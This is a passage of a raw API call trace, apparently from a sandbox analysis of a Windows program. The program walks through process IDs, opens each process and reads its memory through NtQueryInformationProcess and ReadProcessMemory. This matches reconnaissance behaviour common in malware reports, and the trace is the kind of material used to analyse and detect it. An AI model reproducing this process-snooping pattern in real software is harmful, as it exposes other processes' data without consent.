_BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0x414 [0192.884] GetLastError () returned 0x0 [0192.884] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.885] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30e018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.885] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.885] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2600, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.885] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2258, lpBuffer=0x104c5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.885] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.885] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.886] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30e020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.886] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.886] malloc (_Size=0x54) returned 0xeaa170 [0192.886] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa170, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa170*, lpNumberOfBytesRead=0x0) returned 1 [0192.886] free (_Block=0xeaa170) [0192.886] CloseHandle (hObject=0x414) returned 1 [0192.887] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0192.887] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5336") returned 4 [0192.887] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.887] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.888] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0x414 [0192.888] GetLastError () returned 0x0 [0192.888] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.888] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ec018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.889] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.889] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.889] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.890] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.890] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.890] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3ec020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.890] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x551c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.890] malloc (_Size=0x72) returned 0xea8f20 [0192.890] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5522c2, lpBuffer=0xea8f20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0192.891] free (_Block=0xea8f20) [0192.891] CloseHandle (hObject=0x414) returned 1 [0192.891] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0192.891] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5352") returned 4 [0192.892] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.892] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0192.893] CloseHandle (hObject=0x0) returned 0 [0192.893] _ui64tow_s (in: _Value=0x1520, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0192.893] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5408") returned 4 [0192.893] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.893] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.894] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0x414 [0192.894] GetLastError () returned 0x0 [0192.894] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.894] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30e018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.894] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.895] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.895] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b2258, lpBuffer=0x104c5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.895] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.895] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.895] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30e020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.895] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.896] malloc (_Size=0x68) returned 0xeb64d0 [0192.896] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4b22b8, lpBuffer=0xeb64d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.896] free (_Block=0xeb64d0) [0192.896] CloseHandle (hObject=0x414) returned 1 [0192.896] _ui64tow_s (in: _Value=0x154c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0192.897] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5452") returned 4 [0192.897] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.897] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.898] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0x414 [0192.898] GetLastError () returned 0x0 [0192.898] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.898] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x39d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.898] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.898] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6d2670, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.898] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6d2258, lpBuffer=0x104c5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.899] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.899] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.899] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x39d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.899] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.899] malloc (_Size=0x76) returned 0xea89a0 [0192.899] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6d22c6, lpBuffer=0xea89a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea89a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.900] free (_Block=0xea89a0) [0192.900] CloseHandle (hObject=0x414) returned 1 [0192.900] _ui64tow_s (in: _Value=0x1568, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0192.900] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5480") returned 4 [0192.900] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.900] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0x414 [0192.901] GetLastError () returned 0x0 [0192.901] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.901] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x35f018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.901] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.902] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f2670, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.902] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f2258, lpBuffer=0x104c5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.902] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.902] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.902] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x35f020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.902] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.903] malloc (_Size=0x7a) returned 0xe88000 [0192.903] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4f22ca, lpBuffer=0xe88000, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88000*, lpNumberOfBytesRead=0x0) returned 1 [0192.903] free (_Block=0xe88000) [0192.903] CloseHandle (hObject=0x414) returned 1 [0192.903] _ui64tow_s (in: _Value=0x1574, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0192.904] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5492") returned 4 [0192.904] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.904] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.906] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0x414 [0192.906] GetLastError () returned 0x0 [0192.906] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.906] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c9018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.906] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.906] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2670, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.907] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f2258, lpBuffer=0x104c5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.907] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.907] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.907] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c9020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.907] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.907] malloc (_Size=0x76) returned 0xea8ba0 [0192.908] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1f22c6, lpBuffer=0xea8ba0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0192.908] free (_Block=0xea8ba0) [0192.908] CloseHandle (hObject=0x414) returned 1 [0192.908] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0192.908] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5552") returned 4 [0192.909] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.909] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.909] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0x414 [0192.910] GetLastError () returned 0x0 [0192.910] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.910] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3f9018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.910] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.910] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.910] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582258, lpBuffer=0x104c5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.910] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.911] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.911] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3f9020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.911] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.911] malloc (_Size=0x5e) returned 0xeb6070 [0192.911] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5822ae, lpBuffer=0xeb6070, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0192.911] free (_Block=0xeb6070) [0192.911] CloseHandle (hObject=0x414) returned 1 [0192.912] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0192.912] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5580") returned 4 [0192.912] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.912] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.913] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0x414 [0192.913] GetLastError () returned 0x0 [0192.913] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.913] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x21a018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.913] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.913] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x572640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.913] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x572258, lpBuffer=0x104c5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.914] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.914] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.914] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x21a020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.914] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x571c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.914] malloc (_Size=0x66) returned 0xeb6540 [0192.914] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5722b6, lpBuffer=0xeb6540, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0192.915] free (_Block=0xeb6540) [0192.915] CloseHandle (hObject=0x414) returned 1 [0192.915] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0192.915] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5600") returned 4 [0192.915] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, 